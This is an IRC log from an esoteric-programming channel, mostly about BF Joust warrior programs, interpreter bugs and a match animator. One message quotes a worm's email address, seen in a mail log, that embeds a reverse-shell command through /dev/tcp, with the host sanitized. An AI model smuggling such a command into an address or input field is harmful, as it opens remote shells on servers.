18:21:02 <EgoBot> Score for elliott_penile_wiggling_2_electric_penile_wiggling_boogaloo: 0.0
18:21:05 <ais523> nah, it's been around for ages
18:21:11 <ais523> it's defend13 minus the counterdefence
18:21:19 <ais523> i.e. defend12 : defend13 :: definder : definder2
18:21:21 <elliott> !bfjoust penile_wiggling_2_electric_penile_wiggling_boogaloo (>)*9(([(-)*64.[(+)*65.{[-.]}]])%5>)*20(-)*128
18:21:25 <elliott> (it made ICA's score drop)
18:21:26 <EgoBot> Score for elliott_penile_wiggling_2_electric_penile_wiggling_boogaloo: 26.9
18:21:38 <elliott> the rankings aren't the same after adding it
18:22:27 <ais523> the hill probably isn't the same after removing and readding it
18:22:32 <ais523> because one of my programs got culled in between
18:22:37 <ais523> heh, FRSC beats space_elevator on all combos but length 30
18:22:50 <elliott> ais523: that's usually because of an off-by-one
18:22:58 <elliott> hmm, but not in your case seemingly
18:23:05 <quintopia> i redid the special case for that length
18:23:07 <ais523> it isn't, it's to do with tripwire count versus offset clear
18:23:35 <ais523> you always attack on length 30
18:23:49 <ais523> on the basis that it's obviously the actual flag if you reach that point and don't die
18:23:54 <ais523> so I can't trick you into defending
18:24:05 <ais523> without setting a decoy
18:24:07 <ais523> !bfjoust fast_rush_slow_clear >+>>>>>>>(>[+++++[-.]])*21
18:24:12 <ais523> yep, I had that change planned already
18:24:12 <EgoBot> Score for ais523_fast_rush_slow_clear: 31.3
18:24:34 <elliott> ais523: watching interior_crocodile_alligator in egojsout anim is fun
18:24:38 <ais523> the decoy actually makes it worse, though
18:24:42 <ais523> !bfjoust fast_rush_slow_clear >>>>>>>>(>[+++++[-.]])*21
18:24:45 <elliott> you can see how it just clears cells in the craziest way possible
18:24:46 <ais523> at least versus space_station
18:24:49 <ais523> because then it loses on short tapes
18:25:16 <EgoBot> Score for ais523_fast_rush_slow_clear: 30.7
18:25:24 <ais523> makes it better overall, though
18:25:30 <ais523> elliott: or whatever quintopia's uberprogram is called
18:27:08 <quintopia> ais523: tell Gregor about my color scheme idea for the animation when he comes around
18:27:19 <ais523> quintopia: he won't listen to reason on colors
18:27:33 <elliott> ais523: I was thinking about generating a mega-program myself, but it'd be very complicated
18:27:50 <quintopia> he already said he didn't like 1 being indistinct and my solution fixes that!
18:28:08 <ais523> interior_crocodile_alligator can be improved massively by making it approximately 2^256 times as long
18:28:18 <elliott> 02:22:16 <quintopia> but isn't it the "let's only reward them and never punish them!" mentality that keeps it from being fixed-point iterable?
18:28:19 <elliott> THE SAD STATE OF MODERN PARENTING
18:28:26 <elliott> ais523: be my guest, you can use ()% to do exponential programs
18:28:30 <elliott> although on egojoust that would be dumb
18:28:35 <elliott> also, they have to be of a certain structure I think
18:28:40 <elliott> ais523: what would the massive improvement be?
18:28:54 <elliott> 02:25:53 <quintopia> i have good news though! the canonical shudder program has been pushed off the board tonight!
18:29:16 <ais523> nah, wiggle3's still there
18:29:18 <ais523> but it isn't a shudder program
18:29:22 <ais523> just a varying-attack program
18:29:53 <quintopia> ais523: is it worth it? saccharin_philip's strategy is pretty much unbeatable by space_elevator at offset sizes large enough to be useful
18:30:04 <elliott> <ais523> interior_crocodile_alligator can be improved massively by making it approximately 2^256 times as long
18:30:18 <elliott> roconnor: hey, where did you come from :)
18:30:22 <elliott> did augur mention us again in #haskell?
18:30:23 <ais523> elliott: by avoiding the ]]]]]]] chains by instead duplicating the whole of the rest of the program just before them
18:30:35 <elliott> ais523: the ]]]]] chains are part of its power
18:30:42 <elliott> ais523: it means it waits for an unpredictable length of time before moving on
18:31:43 <elliott> 03:38:40 • Error: Connection reset by peer
18:31:44 <elliott> 03:38:40 • Stopped logging.
18:31:44 <elliott> 03:38:40 • Waiting 5 seconds...
18:31:44 <elliott> 03:38:45 • Started logging.
18:31:44 <elliott> 03:38:50 • Herobrine joined (~Herobrine@208.78.103.223)
18:31:49 <elliott> good to know Herobrine's error recovery works
18:31:57 <ais523> Herobrine isn't actually here
18:32:28 <ais523> elliott: you're sounding like you removed it deliberately, now
18:32:34 <elliott> ais523: no, i really didn't
18:32:36 <roconnor> elliott: it's copumpkin's fault
18:32:47 <elliott> roconnor: we haven't got around to banning him yet. all in good time
18:33:20 <elliott> roconnor: uh oh, what happened, did he invite #ubuntu?
18:33:50 <ais523> I don't see anything wrong with newbies joining...
18:34:01 <ais523> although elliott has a rather low tolerance for people he or she dislikes
18:34:15 <elliott> I love your obsession with gender-neutral pronouns
18:34:18 -!- Sgeo has joined.
18:34:21 <elliott> also, it's not that they're newbies
18:34:28 <elliott> it's just that copumpkin is a very suspicious man.
18:37:24 <quintopia> elliott: you did once insist upon female pronouns. can we just use "ey" for you?
18:37:39 <elliott> it's all part of my scheming plot
18:37:48 <elliott> to make everyone using the english language so confused
18:37:51 <elliott> that they all forget how to speak
18:38:03 <quintopia> could have sworn is was your plotting scheme
18:38:12 <elliott> (this is based on an assumption that i talk to everyone who knows the english language, which is a true assumption and a fact)
18:38:24 <quintopia> oh, no. that's a lisplike with graphing capabilities innit?
18:39:06 <elliott> ais523: quick, talk about bf joust
18:39:09 <elliott> we don't need pun threads in here
18:39:32 <ais523> elliott: without oerjan around?
18:39:39 <elliott> those aren't threads, those are one-offs
18:41:59 <zzo38> Do you expect PCL is used more commonly than DVI?
18:42:37 <elliott> ...yes, zzo38, but of course.
18:44:39 <Sgeo> o.O at the existence of a VirtualBox 4
18:45:20 <elliott> ais523: can i tell you my planned strategy for you to rip off? It would basically require code generation to do.
18:45:23 <elliott> but i think it would be effective.
18:45:31 <elliott> also it's not a cohesive strategy, just a bunch of ideas.
18:45:35 <ais523> you can tell me, it doesn't mean if I'll actually rip it off
18:45:44 <elliott> ais523: but i need someone to carry on the legacy :)
18:45:49 <ais523> umm, I don't think that last sentence was coherent, but you probably know what I mean anyway
18:46:23 <elliott> ais523: anyway, one idea is this
18:46:46 <fizzie> Heh, someone just tried to send email to "root+:|exec /bin/sh 0</dev/tcp/<ip>/<port> 1>&0 2>&0@zem.fi" (sanitized the numbers out).
18:46:50 <fizzie> Email worms, how quaint.
18:47:03 <elliott> ais523: translate a tripwire program "a[]b" into "a[[[[[[[[(lots of [s)(same amount of b]s)", where b is the rest of the program
18:47:10 <elliott> ais523: this is, I think, the most efficient time-limited tripwire you can do
18:47:15 <elliott> but causes insane explosion of code
18:47:41 <ais523> you don't need massive efficiency in that anyway
18:47:49 <ais523> reverse tripwires make a much neater time-limited tripwire
18:48:12 <elliott> ais523: it was part of a greater strategy
18:48:15 <ais523> fizzie: presumably some email server actually executes that by mistake?
18:48:20 <elliott> i.e., you'd have a huge program with that as one of the strategies
18:49:35 <fizzie> Well, presumably; I doubt they'd bother sending that in the hopes the recipient is going to run it. (Though I guess it might be borderline possible, if unlikely, that it's actually targeting an email client problem instead.)
18:49:48 <quintopia> elliott: i considered doing that as a way of calculating the exact size of an offset used by an offset clearer (with different values computed for whether it is 2 or 3 cycle clear)
18:50:12 <elliott> fizzie: very unlikely, nobody uses linux on the desktop
18:50:19 <Gregor> quintopia: That gives no distinct colors for the flag or players.
18:50:40 <elliott> Gregor: Plz2be make the players different colours, and show the player colour as the bottom square of whatever cell they're on.
18:50:45 <elliott> Also, flip it vertically X-P
18:51:11 <quintopia> Gregor: my method was to put the players on tracks parallel to the tape, and let the values on the tape be just their value all the time
18:51:34 <Gregor> quintopia: Idonno, I'm kinda groovin' on zzo38's height method.
18:52:05 <Gregor> quintopia: ... you haven't actually seen the current state? :P
18:52:20 <quintopia> so a bar graph that can go either above or below?
18:53:10 <elliott> <Gregor> quintopia: Idonno, I'm kinda groovin' on zzo38's height method.
18:54:18 -!- Sgeo has quit (Ping timeout: 240 seconds).
18:54:44 <quintopia> Gregor: make it so it ranges -127 to 128, and make it so we can see which player is which
18:58:00 <fizzie> ais523: Speaking of which, I fixed one cranklance bug, and now the clusters rearranged themselves into http://zem.fi/~fis/clust5.png which at least has a nice impomatic group in there.
18:58:19 <elliott> fizzie: Can I organise a hostile takeover of Cranklance Software?
18:59:06 <fizzie> I'll put the crank-code somewhere after you perfect lance; so that I have a non-javascript reference implementation to test against. :p
18:59:22 <elliott> fizzie: I mean to integrate the compiler into lance itself :P
18:59:57 <fizzie> Crank's not a compiler, though; it's just a boring thing. You could integrate chainlance, but it seems to be more of a pessimization for any real programs.
19:00:07 <elliott> fizzie: In't that the threaded code thing?
19:00:13 <elliott> Close enough to a compiler for Forthers; close enough for me.
19:00:24 <fizzie> Well, in that sense, yes.
19:00:45 <elliott> fizzie: It's a pissimizatoriness because of your crazy () semantics, I think :P
19:01:03 <fizzie> Nah, my test cases didn't have any (foo{bar}baz)'s in them.
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19:03:03 <fizzie> Also crank now does the more standard "count in different directions thing" I lifted from egojsout, and not the "invert counters on each {}-middle-skipping [..]-jump. But there's at least one more bug in there somewhere; my simple-enough-to-read-the-trace test cases do work, but some of the more complicated things go awry after a thousand cycles or so.
19:04:05 <ais523> we need a BF Joust conformance test suite and performance benchmark
19:04:40 <elliott> ais523: quick, link me to an article to dismiss IPv6 privacy complaints
19:04:55 <ais523> I don't have one on-hand
19:05:05 <quintopia> i just found a major bug in space_elevator. somehow it's going from rush mode *back* to defend mode for tape length 30 against saccharin_philip
19:05:30 <elliott> ais523: ok, well link me to a therapist, because i have this urge to generate BF Joust programs with Mathematica
19:05:43 <elliott> and there's no way /that's/ the thought of a sane man
19:06:31 <Gregor> http://codu.org/eso/bfjoust/egojsout/anim/ OK, try this on for size
19:07:01 <quintopia> fizzie: i think your clustering is dead on in terms of putting similar strategy types together
19:07:04 <elliott> Gregor: you haven't flipped it vertically yet :P
19:07:26 <elliott> I wish xfwm was less buggy
19:07:33 <elliott> "Nemerle, Factor, Alice ML, and other programming languages are being deleted from Wikipedia. Please help." --/r/programming
19:07:44 <elliott> (1) Nemerle, Factor, Alice ML ... holy shit, it's Sgeo!
19:07:56 <elliott> (2) Nemerle is horrible and should probably stay deleted
19:08:17 <elliott> (6) i'm trapped in a self-referential list of off-by-ones help
19:08:39 <quintopia> just say (7) off by fives and be done
19:09:13 <elliott> "I learned about Nemerle from Wikipedia, along with a slew of other not-widely-used languages. I've always really liked the comprehensiveness of its PL list. I agree that utterly useless stuff is worth deleting, but I'm having trouble understanding how Monsanto thinks he's improving the quality of wikipedia by doing this in any way commensurate with the effort he's spending."
19:09:18 <elliott> Theory -- things called Monsanto are inherently evil.
19:09:32 <elliott> Seriously though, lol deletionists.
19:10:07 <elliott> You guys win. I will stop nominating pages for deletion.
19:10:08 <elliott> I wasn't doing this to troll or to slam any language community. I was just trying to help -- I read the WP guidelines for inclusion, and whenever I came across a language that didn't seem to meet said criteria, I nominated it for AfD. I think, with respect to Wikipedia's established notability guidelines, my arguments for deletion were airtight, which is probably why the articles were eventually deleted. I'm not sure my actions warranted the kind
19:10:08 <elliott> of internet-hatred I received as a result. If anyone thought what I was doing was wrong, they could have just sent me a friendly message and I would have politely discussed the issue. Few took this route, and I am sorry that due to time constraints and an overwhelming amount of invective I could not reply sensibly to everyone.
19:10:11 <elliott> Since the internet seems to care more about keeping these articles than I care about deleting them, I'll stop. I personally think a lot of the articles should have been deleted. I think that ALL articles I nominated for deletion fail to meet Wikipedia's general notability guideline. Here's a challenge, then, for the internet: instead of spamming my Wikipedia talk page (which I don't really care about), why don't you work on fixing WP's notability
19:10:16 <elliott> guideline for programming languages? Otherwise, some other naive editor will eventually try to delete them. Perhaps they won't have as much experience dealing with trolls and flamebait as I have had, and will become very hurt and confused. Nobody wants that :("
19:10:20 <elliott> as far as I can tell, this can be reduced to three sentences.
19:10:34 <elliott> "Hey Internet, stop being jerks. I can't use my own brain, I just follow the policy. But actually, I really agree with it, fuck you. :)
19:10:51 <Gregor> quintopia: space_elevator is a thing of beauty.
19:11:30 <Gregor> I think "flag repair" needs to be mentioned in the strategy list.
19:12:30 <elliott> try julias freezer vs. mapping turtle on right
19:12:40 <elliott> note how a trail of white underscores and... overscores is left
19:13:04 <elliott> Gregor: May I suggest adding a scrubber to go over the match at your own pace? :P
19:13:33 <Gregor> elliott: You're a dumbass :P
19:13:41 <Gregor> elliott: That trail is the TRAIL STRATEGY
19:13:47 <Gregor> mapping_turtle leaves a trail :P
19:13:48 <elliott> Gregor: ...no, you're the dumbass.
19:13:51 <elliott> Gregor: I mean after that.
19:13:59 <elliott> There's ones just like it, in the same pattern, but only one pixel high.
19:14:09 <Gregor> Yes, one pixel = value 1.
19:14:13 <quintopia> Gregor: saccharin_philip is also a thing of beauty
19:14:42 <elliott> Gregor: Make two pixels = one value :P
19:14:57 <elliott> Oh well, hooray for lanceanim!
19:15:07 <quintopia> <Gregor> elliott: je refuse!!!!!!!!!!!
19:15:17 <Gregor> elliott: I have no idea what you mean by that.
19:15:30 <Gregor> elliott: And I'd love to have an offline animator, we could post animations on the strategies page :)
19:15:50 <quintopia> Gregor: he means a slideybar to select different moments in the match, like at the bottom of youtube videos
19:15:53 <elliott> Gregor: A scrubber is a selection bar that lets you set the argument to a continuous function over time.
19:15:57 <elliott> Gregor: i.e. a seek bar for a movie.
19:16:05 <elliott> In this case, it'd just round your selection to an integer, and choose that cycle.
19:16:15 <Gregor> Ahhhh. That's not easy for this since I don't actually save frames, I'm rendering them on the fly.
19:16:18 <elliott> So you could drag it slowly to see what happens in a fast bit, or advance it manually.
19:16:22 <quintopia> in this case, elliott would take a lot of words to repeat what i said
19:16:31 <elliott> quintopia: I was being a pedantic fucker.
19:16:38 <Gregor> This is not a video player, it's a BFJ interpreter.
19:16:48 <elliott> Gregor: Yes, but it'd be actually useful if it had a scrubber.
19:16:56 <elliott> Because you could see things visually but still analyse it at a proper pace :P
19:17:17 <quintopia> Gregor: i once wrote a game where programs fought over a network, and it was able to save an entire history of the match on the fly so you could rewind and seek at will. it's really not that hard.
19:17:35 <elliott> It is when your program is small and entirely based around that principle.
19:17:40 <elliott> In this case, hard = almost complete rewrite.
19:17:58 <quintopia> the history thing we patched in at the very end
19:18:15 <elliott> The program is small enough that it would be almost a complete rewrite.
19:18:26 <elliott> (if it isn't then Gregor pha1lz)
19:18:47 <quintopia> i bet he could stick in the part that saves the current frame in a couple of lines, and just add one or two more functions for scrubbing
19:19:36 <elliott> quintopia: "Patches welcome"
19:19:59 <quintopia> elliott: tell me how to make a slidey bar in js and i'll do
19:20:13 <elliott> There's a tag for it in HTML 5.
19:20:26 <elliott> quintopia: http://webhole.net/2010/04/24/html-5-slider-input-tutorial/
19:20:53 <elliott> You might want to use the step stuff to keep the selection discrete, but OTOH dragging it would be smoother if you made it continuous and just floor()'d in the JS side.
19:22:43 <Gregor> Yeah, I could just save 30 ints per frame, and then render from that.
19:23:08 <Gregor> I just don't want to deal with the actual "scrubber" (wtf is a scrubber guys, seriously, no using random obscure words when you mean "seek bar")
19:23:37 <quintopia> oh lol, my comments have - in them now XD
19:24:07 <quintopia> scrubbing is an A/V term for selecting individual frames in a movie
19:24:34 <elliott> <Gregor> I just don't want to deal with the actual "scrubber" (wtf is a scrubber guys, seriously, no using random obscure words when you mean "seek bar")
19:24:44 <elliott> Gregor: I could list EVERY PIECE OF PROGRAMMING JARGON EVER right now.
19:24:56 <Gregor> This is a CS channel, not an AV channel.
19:25:04 <elliott> Meanwhile, Urban Dictionary:
19:25:06 <elliott> "a scrubber is a female tramp who would satisfy a male's needs without a second thought"
19:25:12 <Gregor> We should know programmer jargon.
19:25:12 <Gregor> Expecting us to know A/V jargon is unreasonable.
19:25:48 <Gregor> It is quite clearly A/V jargon, since nobody else would know wtf it is.
19:26:12 <elliott> I'm not an A/V person and I do.
19:26:23 <ais523> I'm not an A/V person either, and I don't
19:26:32 <ais523> </pointless data point>
19:28:10 <elliott> http://irregularwebcomic.net/2940.html :D
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19:54:06 <quintopia> !bfjoust space_elevator http://sprunge.us/hMia
19:55:32 <elliott> i need to make a decent program so i can call it chevrolet_movie_theater
19:56:09 <elliott> maybe this will lessen your confusion: http://www.youtube.com/watch?v=kZwhNFOn4ik
19:58:48 <EgoBot> Score for quintopia_space_elevator: 62.4
19:59:34 <quintopia> i fixed teh bugs and my score went down...
20:02:33 <quintopia> but it's more *pure* now so i'm gonna leave it. also, it now beats saccharin_philip which was MY MAIN GOAL HERE
20:03:05 <quintopia> (the reason it was losing to saccharin_philip was a major off-by-one error)
20:05:14 <Deewiant> Yay, pendolino is up to pos 3 again
20:06:33 <quintopia> elliott: space_elevator already does beat it ...
20:06:41 <quintopia> i suppose i could modify poke to suck less too
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20:09:28 <quintopia> myndzi: careful has a buttload of parse errors. lrn2matchloops.
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20:12:03 <quintopia> Gregor: interestingly, egojsout and egojoust disagree on whether space_elevator beats careful. might this have something to do with the way they handle parse errors?
20:12:21 <Gregor> Probably, does careful have parse errors?
20:12:39 <Gregor> egojoust doesn't really "get" parse errors, it always expands.
20:12:46 <Gregor> egojsout never expands, so parse errors turn into noops.
20:13:11 <quintopia> aha. so myndzi is purposefully exploiting parse errors for fun and profit!
20:13:20 <quintopia> elliott: lance won't allow that, right?
20:13:39 <elliott> quintopia: it insults you whenever you make a parse error and immediately exits
20:13:56 <elliott> Oi -- your nesting is too deep, birdbrains.
20:14:02 <elliott> Oi -- your program has an unmatched X, and it's all your fault.
20:14:11 <elliott> Oi -- your program has an unmatched X; you should feel bad.
20:14:17 <elliott> Oi -- your program is too long.
20:14:28 <elliott> Oi -- you have a {} without an enclosing () block. Why? Just... why?
20:14:35 <elliott> Deewiant: Over, like, a megabyte.
20:14:36 <quintopia> what is the maximum nesting depth and maximum length?
20:14:49 <elliott> High enough that you'd overstep the cycle count by nesting deep enough.
20:15:02 <elliott> Oi -- your program has an unmatched ). You're a scoundrel and a thief!
20:15:09 <quintopia> elliott: you should print the character number where the error was detected too, to help computer.
20:15:10 <elliott> Oi -- your program has an unmatched X. You can't just bash random keys and expect it to work!
20:15:19 <elliott> Oi -- you can't have )* after a () block containing {}s. Didn't they teach you anything in school?
20:15:33 <elliott> Oi -- you can't have )%% after a () block not containing {}s. When I sleep, I dream of a world filled with people who don't make stupid syntax errors.
20:15:39 <elliott> Oi -- you have a ) not followed by a * or a %%, probably because you're a bad person.
20:15:50 <elliott> Oi -- you have a * or a % not followed by an integer. Did your parents drop you on your head as a kid?
20:15:58 <elliott> Oi -- your program has an unmatched X. ...I'm disappointed.
20:16:04 <elliott> EVERYONE FIGURES OUT THEIR OWN PARSE ERRORS
20:16:49 <Deewiant> elliott: Do you pick an "unmatched X" error at random or what
20:17:01 <elliott> Deewiant: Different situations :P
20:17:12 <elliott> Deewiant: if (neststki == 0) { \
20:17:12 <elliott> fprintf(stderr, "%d : Oi -- your program has an unmatched %c, and it's all your fault.\n", n, opchrs[c]); \
20:17:12 <elliott> if (neststk[neststki-1]->op != (t)) { \
20:17:12 <quintopia> elliott: does lance support the ``(print comment)*0 thing at least?
20:17:13 <elliott> fprintf(stderr, "%d : Oi -- your program has an unmatched %c; you should feel bad.\n", n, opchrs[neststk[neststki-1]->op]); \
20:17:23 <elliott> (x] -- you should feel bad
20:17:30 <elliott> and also since I was lazy and duplicated the special-case code in )
20:17:37 <elliott> Oi -- your program has an unmatched ). You're a scoundrel and a thief!\
20:17:40 <Deewiant> elliott: If you know the different situations, you could be more precise than "unmatched X" :-)
20:17:45 <elliott> for "foo)" with no brakcets before
20:17:50 <elliott> You can't just bash random keys and expect it to work!
20:17:55 <elliott> Deewiant: It doesn't say X.
20:18:02 <elliott> It gets replaced with the relevant character.
20:18:07 <Deewiant> elliott: That's not what I meant
20:18:24 <elliott> Deewiant: egojoust has no error reporting, quit yer whinin'
20:18:29 <Deewiant> elliott: I meant that you could say "you're closing an X with a Y", for that (x] for instance
20:18:47 <Deewiant> And then you should print the code line and a nice caret
20:18:57 <elliott> Deewiant: And fix it for the user.
20:19:09 <elliott> And give them supper and tuck them in bed.
20:19:10 <quintopia> elliott: the comment debug thing. lance has it?
20:19:25 <quintopia> 15:41 < quintopia> elliott: does lance support the ``(print comment)*0 thing at least?
20:19:52 <elliott> Um, no. That's an unportable egojsoust extension and using it in actual hill code is a sign of insanity.
20:20:01 <elliott> I would need to embed javascript for instance.
20:20:08 <elliott> Also I think it's ``(foo) without the *0.
20:20:16 <elliott> Gregor: Tell him that I'm not going to execute arbitrary javascript
20:20:17 <elliott> quintopia: no, to the user
20:20:24 <elliott> no matches are run if the program is invalid
20:20:44 <quintopia> I GUESS WE WILL HAVE TO USE EGOJSOUT FOR DEBUGGING THEN
20:20:56 <Gregor> I was actually considering changing ``() to just be a print command.
20:21:04 <Gregor> So ``(foo) -> print("foo")
20:21:17 <Gregor> That way it's at least portable, since I haven't really thought of any use for doing anything else anyway :)
20:21:48 <elliott> quintopia: lance's actual debugger will let you set breakpoints and shit :P
20:22:05 <elliott> But egojsout is awesome enough that it's like priority -1.
20:22:07 <quintopia> elliott: but will it print the character number where a parse error was detected?
20:22:16 <elliott> Maybe if you donate money.
20:22:48 <quintopia> the day when you need breakpoints to debug a bf joust warrior
20:22:56 <quintopia> is the day it got TOO COMPLICATED FOR ME
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20:23:05 <elliott> It's like a print statement except less informative. Shut your whore mouth.
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20:24:30 <quintopia> myndzi_careful.bfjoust vs quintopia_space_elevator.bfjoust:
20:24:31 <quintopia> <<>>>>>>>>>>>>>>>>>>> <<<<<<<<><<<<<<<<<<<< <<<<<<<<><<<<<<<<<<<< <<>>>>>>>>>>>>>>>>>>>
20:25:04 <quintopia> < < > > > > > > > < < < > > > > < > > > >
20:25:07 <quintopia> < < < < < < < < > < < < > > > > > > > > >
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20:29:03 <elliott> quintopia: unmatched loop = results are wrong don't bother
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20:33:06 <Gregor> elliott: So where's lance, or do I have to write egojoust2 in like five minutes and then laugh.
20:33:06 <Deewiant> I can't find any unmatched loops in careful
20:33:50 <quintopia> elliott: you mean that egojsout detects them wrong or that you can't say anything one way or the other when it says that or what?
20:33:58 <Gregor> (]]])*21 <-- this is illegal you know
20:34:40 <Gregor> Deewiant: Still illegal.
20:34:56 <Gregor> Deewiant: (a[b[c[ {...} ]]])%21 is the legal form
20:35:06 <fizzie> Illegal like Deewiant!
20:35:12 <Gregor> Deewiant: The form in careful is really difficult to do without expansion.
20:35:13 <quintopia> yeah, that's fair, since egojoust can't handle ({})%
20:35:15 <Deewiant> But doesn't current !bfjoust handle it correctly?
20:35:23 <Gregor> quintopia: egojoust can't handle NESTED ({})
20:35:24 <quintopia> i'm gonna say egojoust scored the match right then
20:35:36 <Gregor> quintopia: egojoust handles normal ({}) just fine, as well as ({({})}) nesting.
20:35:41 <Gregor> quintopia: Just not (({{}}))
20:35:44 <fizzie> Deewiant: Think of it as undefined behaviour; everything's correct.
20:36:06 <Gregor> Deewiant: But as we get a faster implementation, it'll have to throw away doing it that way.
20:36:11 <quintopia> Gregor: flase! i tried to do normal nesting of ({})% with ()* and it parse error'd me out the ass
20:36:12 <Gregor> elliott: IF we get a faster implementation.
20:36:22 <elliott> Gregor: Seriously. Shut it :P
20:36:26 <Gregor> quintopia: Then you did it wrong.
20:36:35 <elliott> Gregor: I'm restructuring lance a little bit to stop these stupid bugs appearing.
20:36:42 <elliott> Gregor: It will become something basically identical to egojsout: The C Edition.
20:36:46 <elliott> So it's exactly what you would do instead :P
20:36:47 <Gregor> quintopia: Show me the code.
20:37:19 <quintopia> the code doesn't exist anymore because it rewrote it so egojoust could handle it.
20:37:30 <Gregor> quintopia: Also, since egojoust doesn't report parse errors, I don't know how you came to that conclusion :P
20:37:41 <quintopia> Gregor: it printed them in breakdown.txt
20:38:02 <Gregor> Wow, I didn't even know I did that :P
20:38:08 <Gregor> !bfjoust this_is_ok_folks ({ (+)*3 })%3
20:38:19 <EgoBot> Score for Gregor_this_is_ok_folks: 5.8
20:38:27 <elliott> (add-hook 'c-mode-hook (lambda ()
20:38:33 <elliott> WHAT DO YOU WANT FROM ME EMACS
20:38:34 <quintopia> oerjan suggested that its because it was expanding programs wrong and adding uninitialized memory to the end of the program, thereby breaking the parse
20:38:46 <Gregor> quintopia: Yeah, that was fixed, like, days ago :P
20:38:53 <elliott> <elliott> WHY DOES THIS NOT WORK
20:38:53 <elliott> <elliott> WHAT DO YOU WANT FROM ME EMACS
20:39:01 <elliott> Gregor: If you want EgoBot, learn Emacs and tell me what the problem is.
20:39:17 <Gregor> elliott: I can always write egojoust2, so holding lance hostage is pointless.
20:39:43 <elliott> Gregor: Gosh, you're getting so IMPATIENT
20:39:55 <elliott> quintopia: Tell him you won't accept an implementation that does not call the polarities by their proper names.
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20:41:01 <augur> anyone know any lithuanians?
20:41:05 <quintopia> Gregor: call the polarities "Gregor" and "elliott", or, if you prefer, "Gigolo" and "Asshat"
20:41:17 <elliott> but you don't want to talk to him
20:41:26 <quintopia> though my ex-g/f had lithuanian ancestry :P
20:41:34 <augur> i need a native lithuanian speaker
20:41:50 <elliott> i think he's only native in lithuanian profanity :P
20:42:01 <augur> well that doesnt count then
20:42:05 <augur> i need someone from lithuania
20:42:13 <elliott> he's from lithuania and is a native lithuanian
20:43:52 <elliott> do you have any polish ancestry?
20:44:43 <augur> not that i know of
20:44:49 <augur> its possible but who knows
20:44:56 <elliott> augur: too risky, don't talk to him
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20:49:46 <Gregor> I updated the animation to show the flags in red and blue instead of green and green.
20:50:04 <elliott> Gregor: Oh. That's revolutionary.
20:50:35 <Gregor> http://codu.org/eso/bfjoust/egojsout/anim/
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20:51:10 <elliott> Gregor: I see you still don't end the .js with ?version number :P
20:51:27 <Gregor> elliott: Cry me a river.
20:54:07 <elliott> Gregor: Make every tape cell one wide.
20:54:18 <Gregor> ... how is that "consistency"
20:55:00 <elliott> Gregor: Because they're one high at minimum.
20:55:44 <Gregor> A one-pixel-tall light rectangle on a dark background is both quite visible and quite obviously small. It is the perfect thing to use.
20:56:31 <elliott> Gregor: I want to see it in one-pixel form, dammit.
20:57:26 <quintopia> guys. animate decoybooster2 vs space_elevator, tape length 11, kettle polarity. watch the hilarious way in which space_elevator fails miserably XD
20:58:53 <elliott> quintopia puts his warriors on the right too
20:58:54 <Gregor> quintopia: lawl, it passed zero twice on its own :P
20:59:30 <quintopia> elliott: it makes it so the breakdowns look the same as breakdown.txt
20:59:49 <quintopia> Gregor: did you see how it's wobbling the flag all over the place?
21:03:23 <Gregor> quintopia: Yeah, it's pretty fidgety :P
21:03:30 <Gregor> Epic lols were had by all.
21:04:43 <quintopia> !bfjoust space_elevator http://sprunge.us/hcRD
21:04:51 <EgoBot> Score for quintopia_space_elevator: 56.1
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21:08:53 <Gregor> OK folks, how can we get people who aren't in #esoteric in on this; I honestly think there are lots of people who would lurve BFJousting.
21:09:37 <quintopia> it's a higher barrier to entry than you might think
21:09:46 <elliott> Writing programs is really hard.
21:09:49 <quintopia> !bfjoust space_elevator http://sprunge.us/ORIN
21:09:55 <EgoBot> Score for quintopia_space_elevator: 62.9
21:09:57 <elliott> Somebody entering just now without ever seeing the hill evolution would be useless.
21:10:50 <quintopia> okay, so now that strange thing doesn't happen anymore :P
21:11:17 <quintopia> but yeah, explaining the strategies of the major programs on the strategy page would help
21:11:34 <Gregor> I am reconsidering making it possible to do direct links to a particular joust.
21:12:19 <quintopia> GOOD BECAUSE I WAS GOING TO SUGGEST THAT AGAIN
21:12:26 <quintopia> it would be so helpful for fleshing out that page
21:12:46 <quintopia> also, watching them work animated also helps with the understanding more than you might have thought
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21:13:20 <elliott> The pictures are pretty and those of us experienced can get some information from it, but to anyone else it's just some wavy lines.
21:13:29 <elliott> You don't see those wasted cycles.
21:13:30 <Gregor> I'd rather have them be in the query URL so it's stateless, but even in the best case the compression is pretty bad ... one character = 1.5 operations >_>
21:13:50 <elliott> Gregor: Just put the two programs in the URL rather than the trace?
21:13:58 <Gregor> elliott: Uhh, yeah, that was the idea.
21:14:15 <elliott> Let's say we want to compress +-<>[].()*%0123456789.
21:14:18 <Gregor> One character = 1.5 operations with base64.
21:14:22 <Gregor> I've already looked into it.
21:14:27 <Gregor> One character = 1.5 operations.
21:14:44 <elliott> In the perfect information-theoretic sense.
21:14:54 <elliott> Not in the actually-achievable sense :P
21:14:55 <Gregor> elliott: I didn't compress 0123456789 quite so naively as you, since they can't appear anywhere.
21:15:06 <elliott> Gregor: Err, I get a _better_ figure than you.
21:15:19 <Gregor> elliott: You realize it has to be ASCII, right?
21:15:31 <Gregor> elliott: Not only that, it has to be URLable ASCII.
21:15:32 <elliott> Gregor: As I said. Information-theoretic.
21:15:37 <elliott> I didn't bother myself with practicality.
21:15:49 <Gregor> elliott: It's not even information-theoretic if your output is invalid.
21:16:03 <elliott> It's pure mathematical beauty, who cares about character sets!
21:17:08 <Gregor> Anyway, for anything written by ais or quintopia, that's still way too big :P
21:17:41 <elliott> Gregor: When someone fetches a link, store the program permanently, indexed by its SHA-1 hash.
21:17:47 <elliott> Gregor: Have the two programs be identified by SHA-1 hashes.
21:17:55 <elliott> Gregor: Theoretically, you could just brute-force the correct program every time the URL is loaded.
21:18:01 <elliott> Gregor: You have reduced the impurity to a mere cache!
21:18:20 <Gregor> It's seriously not bad.
21:18:23 <elliott> Gregor: (We are working inside the theory "hash collisions do not exist", a very, very useful theory.)
21:18:50 <Gregor> For our purposes that theory may as well be true.
21:19:20 <quintopia> Gregor: that was my idea originally. what elliott just said. store the program when a link is requested :P
21:19:30 <elliott> Gregor: And if it falls down, at least we can be the cause of the headline "BRAINFUCK MAKES A HASH OUT OF THINGS"
21:19:38 <Gregor> elliott: ... boo. Hiss.
21:19:42 <elliott> quintopia: You forgot the all-important SHA-1 part!
21:20:04 <quintopia> but he was all STOP USING WORDS and you were all I DON'T WANNAAAAAAA and i was all ROT133333333
21:21:31 <elliott> i rot13'd it and got gibberish
21:26:18 <elliott> i just used rot13.com out of laze
21:28:02 <fizzie> http://zem.fi/~fis/clust6.png -- results with one more bug squished.
